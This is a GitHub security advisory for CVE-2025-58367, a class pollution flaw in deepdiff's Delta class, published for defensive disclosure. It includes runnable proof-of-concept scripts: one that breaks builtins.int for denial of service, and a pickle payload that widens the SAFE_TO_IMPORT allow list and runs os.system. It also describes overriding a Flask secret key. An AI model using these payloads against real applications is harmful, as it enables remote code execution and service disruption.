Skip to content

Class Pollution in Delta class leading to DoS, Remote Code Execution, and more

Critical
seperman published GHSA-mw26-5g2v-hqw3 Sep 3, 2025

Package

pip deepdiff (pip)

Affected versions

>= 5.0.0, <= 8.6.0

Patched versions

8.6.1

Description

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place:

if not elem.startswith('__'):

However, this code only runs when parsing the path from a string.
The _path_to_elements function helpfully returns the given input if it is already a list/tuple:

if isinstance(path, (tuple, list)):
return path

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them.
Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list.

SAFE_TO_IMPORT = {
'builtins.range',
'builtins.complex',
'builtins.set',
'builtins.frozenset',
'builtins.slice',
'builtins.str',
'builtins.bytes',
'builtins.list',
'builtins.tuple',
'builtins.int',
'builtins.float',
'builtins.dict',
'builtins.bool',
'builtins.bin',
'builtins.None',
'datetime.datetime',
'datetime.time',
'datetime.timedelta',
'decimal.Decimal',
'uuid.UUID',
'orderly_set.sets.OrderedSet',
'orderly_set.sets.OrderlySet',
'orderly_set.sets.StableSetEq',
'deepdiff.helper.SetOrdered',
'collections.namedtuple',
'collections.OrderedDict',
're.Pattern',
'deepdiff.helper.Opcode',
'ipaddress.IPv4Interface',
'ipaddress.IPv6Interface',
'ipaddress.IPv4Network',
'ipaddress.IPv6Network',
'ipaddress.IPv4Address',
'ipaddress.IPv6Address',
'collections.abc.KeysView',
}

However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there.
However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python.
Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept.
All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle

from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))
$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

# ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta
$ python poc_rce.py
$ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.
This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force,
and possibly in deepdiff.delta.Delta._get_elements_and_details.
Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all).
This was the solution adopted by pydash: dgilland/pydash#180

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE ID

CVE-2025-58367

Weaknesses

Improperly Controlled Modification of Dynamically-Determined Object Attributes

The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified. Learn more on MITRE.

Credits